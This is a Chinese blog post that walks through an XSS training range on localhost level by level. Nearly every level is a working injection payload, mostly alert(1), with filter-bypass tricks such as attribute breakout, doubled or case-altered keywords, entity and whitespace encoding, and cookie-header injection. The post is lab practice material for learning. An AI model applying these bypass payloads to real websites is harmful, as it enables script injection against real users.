安全

XSS挑战之旅--游戏闯关

2018-12-13  本文已影响0人  2mpossible

在知识星球上看到别人发的一个XSS靶场,刚好适合刷完sql-labs的我学习XSS

level1

exp:

http://localhost/xss_test/level1.php?name=123<script>alert('123')</script>;

level2

1"><script>alert('1');</script>

level3

1' onclick=alert(1)//

level4

1" onclick=alert(1)//

level5

"><a href=" javascript:alert(1)"

level6

"><a HREF=" javascript:alert(1)"

level7

1" oonnclick=alert(1)//

level8

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

level9

http://localhost/xss_test/level9.php?keyword=javascr%09ipt:alert(1)//http://

level10

http://localhost/xss_test/level10.php?keyword=well done!&t_ilnk=" tyoe="text" 1&t_history=" type="text" 2&t_sort=" type="text" 3
http://localhost/xss_test/level10.php?keyword=well done!&t_sort=" type="text" onclick="alert(1)

level11

" type="text" onclick="alert(1)

level12

" type="text" onclick="alert(1)

level13

Cookie: user=call+me+maybe%3F" type="text" onclick="alert(1);

level14

level15

http://localhost/xss_test/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'

level16

http://localhost/xss_test/level16.php?keyword=%3Cimg%0asrc=1%0aonerror=alert(1)%3E

level17

http://localhost/xss_test/level17.php?arg01=a&arg02=b onmouseover=alert(1)

level18

http://localhost/xss_test/level18.php?arg01=a&arg02=b%20onmouseover=alert(1)

level19

http://localhost/xss_test/level19.php?arg01=version&arg02=<a href="javascript:alert(1)">123</a>

level20

http://localhost/xss_test/level20.php?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

参考文章:

上一篇 下一篇

猜你喜欢

热点阅读